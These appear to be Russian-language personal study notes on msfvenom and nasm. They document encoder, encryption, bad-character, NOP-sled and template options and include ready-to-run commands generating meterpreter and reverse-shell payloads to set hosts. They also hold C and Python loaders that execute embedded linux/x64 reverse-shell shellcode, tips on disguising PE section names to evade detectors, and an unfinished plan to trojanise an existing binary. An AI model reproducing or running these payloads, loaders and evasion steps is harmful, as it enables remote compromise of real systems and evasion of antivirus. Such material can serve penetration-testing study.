MSFvenom & nasm

Offensive Shellcode from Scratch: Get to grips with shellcode countermeasures and discover how to bypass them 

   

 Консоль nasm служит для получения opcode для команд.  

 MSFvenom 

 Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится.  

 Энкодер. MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его.  

 x86/shikata_ga_nai - часто используемый, универсальный энкодер. 

 Шифрование нагрузки. Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров: 

 

 Энкодер полиморфно преобразует байты (обычно XOR-подобные трансформации, shikata_ga_nai и т. п.), задача — убрать «плохие байты» и усложнить статический анализ. 

 --encrypt использует криптографические алгоритмы (напр., AES, RC4, Base64), и обычно даёт лучшее сопротивление простому статическому сканированию. 

 

 # пример: зашифровать RC4 и задать ключ

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \

 --encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe

# пример AES (названия алгоритмов зависят от версии msfvenom)

msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin 

 Важные нюансы и ограничения 

 

 Не все форматы/пейлоады поддерживают шифрование одинаково. В некоторых версиях/для некоторых платформ --encrypt может не влиять на итог (или работать только для Windows/PE). Нужно проверять отдельно. 

 Нужен ключ, без ключа шифрование бессмысленно 

 Декриптор тоже должен удовлетворять --bad-chars — декодер/декриптор добавляет байты, которые тоже не должны содержать запрещённые символы. 

 Шифрование помогает против простых сигнатур, но поведенческий анализ/динамический анализ всё ещё могут детектировать payload.  

 Стадированные vs безстадированные payload'ы. Поведение может отличаться для staged/stageless payload’ов: в некоторых случаях шифрование применяется только на одной стадии. Проверяй результат (хеш/размер/поведение). 

 

 Проверка 

 

 Сравни MD5/sha256 до и после — если шифрование активно, хеши и байты файла должны измениться. 

 Посмотри вывод msfvenom — он обычно указывает, что применялось шифрование/декодер и итоговый размер. 

 Тестируй в изолированной среде (виртуалка), чтобы убедиться, что декодер корректно восстанавливает payload и он выполняется. 

 

 Шифрование и кодирование может применяться вместе.  

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \

 -e x86/shikata_ga_nai -i 3 \

 --encrypt rc4 --encrypt-key 'mysecret' \

 -b '\x00\x0a\x0d' -f exe -o payload.exe 

 

 

 

 

 Просмотр информации 

 

 

 

 

 

 -l, --list <type> 

 

 Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all  

 msfvenom -l platforms # список платформ под которые что-то есть 

 Можно дополнительно фильтровать по свойствам: 

 --platform платформа 

 --arch архитектура 

 msfvenom -l payloads --platform bsd --arch x86 

 

 

 

 --list-options 

 

 Список опций для данной нагрузки.  

 msfvenom --payload bsd/x86/metsvc_bind_tcp --list-options 

 

 

 

 Настройка нагрузки 

 

 

 

 -p, --payload <payload> 

 Нагрузка для использования 

 

 

 -t, --timeout <second> 

 

 Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN. 

 cat payload.bin | msfvenom -p - -t 10 -f raw -o out.bin 

 То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо).  

 

 

 

 -s, --space <length> 

 Максимальный размер результирующей нагрузки.  

 

 

 

 

 

 

 

 

 

 

 Настройка энкодера 

 

 

 

 -e, --encoder <encoder> 

 Используемый энкодер. 

 

 

 --encoder-space <length> 

 Максимальный размер закодированной нагрузки, по умолчанию значение -s 

 

 

 --smallest 

 Сгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e. 

 

 

 -i, --iterations <count> 

 Количество проходов энкодера 

 

 

 -b, --bad-chars <list> 

 

 Набор байтов (символов), которые нужно избегать в сгенерированном shellcode. 

 

 Нуль-байт \x00 и другие символы могут обрываться строковые функции в целевой программе (строка/буфер) — тогда шеллкод не выполнится. 

 Фильтры/функции ввода на стороне цели могут удалять или преобразовывать некоторые байты (например \x0a — LF, \x0d — CR). 

 Некоторые протоколы/форматы не допускают определённые байты (URL, текстовые поля, параметры командной строки и т.п.). 

 

 Как указывать 

 Примеры в bash:  

 msfvenom -p ... -b '\x00\x0a\x0d' -f raw -o payload.bin 

 Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование). 

   

 В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат. 

 Ограничения. 

 

 Не всегда возможно устранить все указанные байты: при строгом наборе запрещённых символов или при слишком большом payload'е msfvenom может не найти рабочую комбинацию — тогда появится ошибка или payload не соберётся. 

 --bad-chars применим к raw шеллкоду; при генерирации exe, apk и вставке payload в контейнерный формат, дополнительные байты могут появиться в заголовках/шаблоне — их тоже надо учитывать. 

 Ограничение увеличивает размер шеллкода и уменьшает количество доступных энкодеров. 

 Нельзя запретить «символы многобайтовой архитектуры» — вы указываете конкретные байты 0x00..0xff. 

 

 Проверка результата 

 #!/usr/bin/python3

bad = {0x00, 0x0a, 0x0d}

data = open('payload.bin','rb').read()

found = sorted(set(b for b in data if b in bad))

print([hex(x) for x in found] or "No bad chars found") 

 Советы 

 

 Начинайте с минимального набора  

 Если msfvenom не справляется, пробуйте другой энкодер или комбинацию энкодеров/итераций (-i). 

 Для текстовых ограничений есть специализированные «алфавитные»/ASCII-энкодеры (например alpha2) — они создают шеллкод, содержащий только допустимые символы, но это сильно увеличивает размер. 

 

 Часто используемый минимум 

 

 \x00 — нуль-байт: обрывает C-строки / строки в многих API. 

 \x0a — LF (line feed, \n): завершает строку в текстовых вводах/протоколах. 

 \x0d — CR (carriage return, \r): вместе с LF важен в протоколах; часто фильтруется. 

 

 Это самые распространённые, их почти всегда добавляют в --bad-chars. 

 Дополнительные байты в зависимости от вектора 

 

 В командной строке / аргументах процесса \x20 (space), \x22 ("), \x27 ('), \x5c (\)  пробел и кавычки могут ломать парсинг аргументов или экранирование. 

 В HTTP / URL контекстах \x2f (/), \x3f (?), \x26 (&), \x3d (=), \x25 (%), \x2b (+)  специальные символы в URL/GET-параметрах; некоторый ввод URL-энкодируется. 

 В файлах путей / файловых полях \x2f (/), \x5c (\), \x3a (:) — разделители путей, двоеточие и т.п. 

 В XML / HTML < (\x3c), > (\x3e), & (\x26), " (\x22), ' (\x27) — могут испортить разметку или вызвать экранирование. 

 В SQL-контекстах ' (\x27) — закрывает строки в SQL; также ; (\x3b) — разделитель команд. 

 В Base64 / MIME / почтовых полях = (\x3d) — padding в Base64, \r\n последовательности — важны для заголовков. 

 В текстовых полях, где обрезают по контрол-символам \x00.. \x1f (контролы: NUL, BEL, TAB, ESC и т.д.) — часто фильтруются или воспринимаются как спецсимволы. Особенно: \x09 (TAB) может вести себя непредсказуемо. 

 

 Специальные случаи и алфавиты 

 

 Алфавитные (alpha) ограничения: иногда доступен только набор печатных ASCII (A–Z, a–z, 0–9). Для таких случаев есть специальные энкодеры (alpha_upper, alpha_mixed), но размер растёт. 

 Unicode/UTF-16: если приложение принимает UTF-16, нужно учитывать нулевые байты между символами (и т.д.). 

 

 

 

 

 Настройка шифрования 

 

 

 

 

 

 --encrypt <value> 

 

 Тип шифрования payload 

 

 

 

 --encrypt-key <value> 

 

 Ключ шифрования 

 

 

 

 --encrypt-iv <value> 

 

 Вектор инициализации для шифрования. 

 

 

 

 NOP 

 

 

 

 

 

 -n, --nopsled <length> 

 

 Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода. 

 

 Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код. 

 Зачем нужен 

 

 При эксплойтах часто точно угадать адрес сложно; NOP‑sled даёт запас: управление может «упасть» в любую точку sled‑а и «скольжением» дойти до реального шеллкода. 

 Удобно для тестов/демо и в ситуациях, где вы вклю́чаете payload в нестабильный буфер. 

 

 Пример использования (вставляем 64 байта NOP перед payload):  

 msfvenom -p windows/shell_reverse_tcp \

LHOST=10.0.0.1 LPORT=4444 -f raw -n 64 -o payload.bin 

 В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload. 

 Важные нюансы 

 

 Размер. NOP‑sled увеличивает итоговый размер payload — учитывайте ограничения целевого буфера. 

 bad‑chars. Байты, используемые для NOP‑sled, тоже должны не попадать в --bad-chars; иначе sled будет содержать запрещённые символы. 

 Архитектура. NOP‑инструкция зависит от архитектуры (x86/x64/ARM и т.д.). msfvenom подставляет подходящую «nop» по умолчанию. 

 Альтернативы NOP. В ограниченных алфавитах часто используют «полезные» sled‑паттерны (например series of short jumps, INC/DEC tricks или специальные „NOP–генераторы“), потому что обычный \x90 может быть запрещён. 

 Выравнивание. В некоторых сценариях важна выравненность инструкций (особенно на ARM/Thumb) — просто добавлять байты вслепую — риск; проверяйте на целевой архитектуре. 

 Не панацея. NOP‑sled помогает только при нестрогом контроле адреса; в ряде случаев лучше управлять точным возвратом/переписыванием указателей. 

 

 Проверка  

 #!/usr/bin/python3

data = open('payload.bin','rb').read()

print(data[:16].hex())   # покажет первые 16 байт (должны быть NOP) 

 

 

 

 --pad-nops 

 

 Использует   размер nopsled, указанный с помощью - n < длина > , в качестве общего размера полезной нагрузки , автоматически добавляя nopsled количества ( nops минус длина полезной нагрузки ) . 

 

 

 

 Дополнительные настройки 

 

 

 

 --platform <platform> 

 Платформа для payload 

 

 

 -a, --arch <arch> 

 Архитектура для payload или encoders 

 

 

 --service-name <value> 

 Имя сервиса при генерации бинарника для сервиса. 

 

 

 -v, --var-name <value> 

 

 Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл. 

 Когда применяется 

 

 Для генерирующих исходный код форматов (C, Python, Ruby, Perl, PowerShell и др.). 

 Не применимо для бинарных форматов вроде raw, exe (в смысле имени переменной — там нет переменной в коде). 

 

 Примеры 

 C: 

 msfvenom -p linux/x86/shell_reverse_tcp \ 

LHOST=10.0.0.1 LPORT=4444 -f c -v shellcode 

 Результат (фрагмент) будет содержать: 

 unsigned char shellcode[] =

"\x31\xc0\x50\x68..."

;

unsigned int shellcode_len = 123; 

 Python:  

 msfvenom -p python/meterpreter/reverse_tcp \

 LHOST=10.0.0.1 LPORT=4444 -f python -v payload_bytes 

 Результат:  

 payload_bytes =  b""

payload_bytes += b"\x31\xc0\x50\x68..." 

 Ограничения и советы 

 

 Имя должно быть валидным идентификатором для целевого языка (буквы/цифры/подчёркивание; не начинать с цифры). msfvenom обычно не будет проверять/исправлять сложные/некорректные имена — лучше самому дать корректное. 

 Если не указывать, msfvenom подставит стандартное имя (часто buf или имя по формату). 

 Полезно для автоматизации/шаблонов: если у вас несколько вставок shellcode в одном файле — задавайте уникальные имена (stage1, stage2, injector). 

 

 

 

 

 Объединение кода 

 

 

 

 -x, --template <path> 

 

 Бинарник, в который нужно добавить созданную нагрузку. Не изменяет существующую логику бинарника. Т е заменяется некая часть. Не подходит для инъекции в любые приложения. 

 -k, --keep Сохранить шаблон, а payload добавить в новый поток. 

 

 

 

 --sec-name <value> 

 

 Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного. 

 

 Опция применяется при генерации больших Windows-бинарников (формат exe и т.п.), особенно если вы используете --template или payload большой 

 PE-формат не более 8 символов в имени секции в исполняемом образе 

 Задает имя, выглядящее «легитимно» (например, .rdata, .data, .text) для маскировки секции, или специальное название для отладки/анализa. 

 Некоторые детекторы обращают внимание на «необычные» имена секций и изменённую структуру PE, возможно стоит установить.  

 

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \

-f exe --template /path/to/stub.exe --sec-name .msf -o payload.exe 

 

 

 

 -c, --add-code <path> 

 

 Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один.  msfvenom берёт файл с raw-shellcode (обычно в бинарном формате) и вставляет/добавляет его в генерируемый шеллкод/файл как дополнительный блок кода. 

 Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit.  Важные нюансы и ограничения 

 

 Формат/архитектура. Файл, который вы передаёте через -c, должен содержать shellcode той же архитектуры/платформы (x86/x64/ARM и т.д.), что и основной payload — иначе получившийся бинарник не будет работать. 

 Raw-формат. Обычно это raw (сырые байты) shellcode, а не EXE/APK. 

 Размер. Итоговый payload увеличится на размер добавленного кода — учтите это при вставке в шаблон с ограниченными секциями. 

 Bad-chars / энкодеры. Дополнительный код тоже должен соответствовать ограничениям --bad-chars и выбранному энкодеру — декодер/энкодер должен быть совместим с обоими кусками кода. Иначе msfvenom может не суметь корректно закодировать финальную последовательность. 

 Совместимость с шаблонами. При встраивании в exe/apk/другие форматы проверьте, как шаблон обрабатывает дополнительные данные — иногда придётся использовать --template/--sec-name и т.п.  

 

 

 

 

 Настройки результата 

 

 

 

 -o, --out <path> 

 Путь и имя создаваемого файла 

 

 

 -f, --format <format> 

 Формат создаваемого файла 

 

 

 

 Объединение нагрузки и своего кода. 

 Задача: собрать объединенный бинарник, из first_copy.out (выводит ждет ввода данных и reverse shell из metasploit). Новый бинарь закинуть обратно на существующую машину.  

 Интересный проект https://github.com/secretsquirrel/the-backdoor-factory?tab=readme-ov-file 

 Подготовка. Для проверки работы запустим listener на Kali и будем ждать соединения. 

 msf> use exploit/multi/handler

msf> set payload linux/x64/shell_reverse_tcp

msf> set LHOST 192.168.1.189

msf> exploit 

 Просто генерация кода работает. Но дальше - болт. Предположения в части шаблонов, добавления сегмента и объединения кода как-то плохо пошли. Чего-то базового не понимаю. Похоже, инжектировать код в абстрактную программу довольно сложный процесс. Однако это критичная задача. Начнем с малого.  

 Добавление нагрузки в виде шелл-кода в исходный код 

 Создаем код:  

 msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.189 LPORT=4444 --arch x64 --platform linux -f c 

 Оно выведет кусок кода, который нужно вставить и выполнить. 

 Последовательное исполнение, C:  

 #include <stdio.h>

#include <string.h>

#include <sys/mman.h>

int main() {

 // Шеллкод для linux/x64/shell_reverse_tcp

 unsigned char shellcode[] = 

 "\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"

 "\xb9\x02\x00\x11\x5c\xc0\xa8\x01\xbd\x51\x48\x89\xe6\x6a\x10"

 "\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"

 "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"

 "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

 

 printf("Shellcode length: %zu\n", strlen(shellcode));

 

 // Выделяем исполняемую память

 void *exec = mmap(0, sizeof(shellcode), PROT_READ|PROT_WRITE|PROT_EXEC, 

 MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

 memcpy(exec, shellcode, sizeof(shellcode));

 

 // Выполняем

 ((void(*)())exec)();

 

 return 0;

} 

 Создается бинарник без доп. команд,  

 gcc -o third third.c 

 Shell код выполняется и программа в любом случае завершается, вне зависимости от дальнейших C команд, т.к. в генерируемом shell коде нет адреса возврата. То есть бинарник-то может быть большим, но после перехода в старт исполнения из памяти, последующее работать не будет. 

 Последовательное выполнение, Python  

 #!/usr/bin/env python3

import ctypes

import mmap

# Шеллкод из msfvenom

buf = b""

buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"

def execute_shellcode(shellcode):

 # Выделяем исполняемую память

 executable_memory = mmap.mmap(-1, len(shellcode), prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)

 executable_memory.write(shellcode)

 

 # Получаем указатель на память

 ctypes_buffer = ctypes.c_void_p.from_buffer(executable_memory)

 

 # Преобразуем в функцию

 function = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(ctypes_buffer))

 

 # Выполняем

 function()

if __name__ == "__main__":

 print("Executing shellcode...")

 execute_shellcode(buf)

 print("End executing.")

 

 Подпроцесс (проверить) 

 #!/usr/bin/env python3

import subprocess

import sys

def create_and_execute():

 # Шеллкод

 shellcode = b"\x6a\x29\x58\x99..." # ваш шеллкод здесь

 

 # Создаем временный файл

 with open("/tmp/shellcode.bin", "wb") as f:

 f.write(shellcode)

 

 # Делаем исполняемым и запускаем

 subprocess.run(["chmod", "+x", "/tmp/shellcode.bin"])

 print("Shellcode saved to /tmp/shellcode.bin")

 

 # Запускаем (раскомментируйте для выполнения)

 # subprocess.run(["/tmp/shellcode.bin"])

if __name__ == "__main__":

 create_and_execute() 

 Запуск приложения изолировано от консоли  

 section .data

 browser db '/usr/bin/firefox', 0

 url db 'https://irk.ru', 0

 argv dq browser, url, 0

section .text

 global _start

_start:

 ; fork()

 mov rax, 57

 syscall

 cmp rax, 0

 jnz exit_parent

 ; --- Дочерний процесс ---

 ; закроем stdin/out/err

 mov rax, 3

 xor rdi, rdi

 syscall

 mov rdi, 1

 mov rax, 3

 syscall

 mov rdi, 2

 mov rax, 3

 syscall

 ; вычисляем адрес envp

 mov rbx, rsp ; начало стека

 mov rcx, [rbx] ; argc

 lea rdx, [rbx + 8] ; указывает на argv[0]

.skip_argv:

 cmp qword [rdx], 0

 lea rdx, [rdx + 8]

 jne .skip_argv ; пропускаем все argv

 ; теперь rdx указывает на envp[0]

 ; execve("/usr/bin/firefox", argv, envp)

 mov rax, 59

 mov rdi, browser

 mov rsi, argv

 syscall

 ; если не сработал execve

 mov rax, 60

 mov rdi, 1

 syscall

exit_parent:

 mov rax, 60

 xor rdi, rdi

 syscall 

 Теперь попробуем добавить вместо выхода шелл-код. 

 

 dd